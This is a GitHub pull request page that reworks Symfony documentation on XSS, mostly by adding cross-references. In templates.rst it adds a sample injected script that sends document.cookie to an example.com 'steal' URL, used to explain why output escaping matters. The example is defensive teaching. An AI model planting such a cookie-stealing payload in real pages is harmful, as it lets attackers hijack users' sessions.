Skip to content

Add a better example of the dangers of XSS attacks #19804

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions html_sanitizer.rst
Original file line number Diff line number Diff line change
Expand Up @@ -15,8 +15,8 @@ that the returned HTML is very predictable (it only contains allowed
elements), but it does not work well with badly formatted input (e.g.
invalid HTML). The sanitizer is targeted for two use cases:

* Preventing security attacks based on XSS or other technologies relying on
execution of malicious code on the visitors browsers;
* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
relying on execution of malicious code on the visitors browsers;
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
relying on execution of malicious code on the visitors browsers;
relying on the execution of malicious code on the visitors browsers;

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'll do this fix when upmerging #19805.

* Generating HTML that always respects a certain format (only certain
tags, attributes, hosts, etc.) to be able to consistently style the
resulting output with CSS. This also protects your application against
Expand Down
2 changes: 1 addition & 1 deletion reference/configuration/framework.rst
Original file line number Diff line number Diff line change
Expand Up @@ -1855,7 +1855,7 @@ cookie_httponly
This determines whether cookies should only be accessible through the HTTP
protocol. This means that the cookie won't be accessible by scripting
languages, such as JavaScript. This setting can effectively help to reduce
identity theft through XSS attacks.
identity theft through :ref:`XSS attacks <xss-attacks>`.

gc_divisor
..........
Expand Down
3 changes: 1 addition & 2 deletions reference/configuration/twig.rst
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ individually in the templates).
.. danger::

Setting this option to ``false`` is dangerous and it will make your
application vulnerable to `XSS attacks`_ because most third-party bundles
application vulnerable to :ref:`XSS attacks <xss-attacks>` because most third-party bundles
assume that auto-escaping is enabled and they don't escape contents
themselves.

Expand Down Expand Up @@ -441,5 +441,4 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
and the non-existing values are replaced by ``null``.

.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
.. _`__invoke() PHP magic method`: https://www.php.net/manual/en/language.oop5.magic.php#object.invoke
4 changes: 2 additions & 2 deletions reference/forms/types/options/sanitize_html.rst.inc
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,8 @@ sanitize_html

When ``true``, the text input will be sanitized using the
:doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
submitted. This protects the form input against XSS, clickjacking and CSS
injection.
submitted. This protects the form input against :ref:`XSS attacks <xss-attacks>`,
clickjacking and CSS injection.

.. note::

Expand Down
2 changes: 1 addition & 1 deletion reference/forms/types/textarea.rst
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element.
.. caution::

When allowing users to type HTML code in the textarea (or using a
WYSIWYG) editor, the application is vulnerable to XSS injection,
WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
clickjacking or CSS injection. Use the `sanitize_html`_ option to
protect against these types of attacks.

Expand Down
24 changes: 16 additions & 8 deletions templates.rst
Original file line number Diff line number Diff line change
Expand Up @@ -1306,17 +1306,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
Read the `Twig template inheritance`_ docs to learn more about how to reuse
parent block contents when overriding templates and other advanced features.

Output Escaping
---------------
.. _output-escaping:
.. _xss-attacks:

Output Escaping and XSS Attacks
-------------------------------

Imagine that your template includes the ``Hello {{ name }}`` code to display the
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
their name and you output that value unchanged, the application will display a
JavaScript popup window.
user name and a malicious user sets the following as their name:

.. code-block:: html

My Name
<script type="text/javascript">
document.write('<img src="http://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
</script>

This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
example seems harmless, the attacker could write more advanced JavaScript code
to perform malicious actions.
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
so they could impersonate you in other websites. This is known as a `Cross-Site Scripting`_
(XSS) attack.

To prevent this attack, use *"output escaping"* to transform the characters
which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).
Expand Down
Loading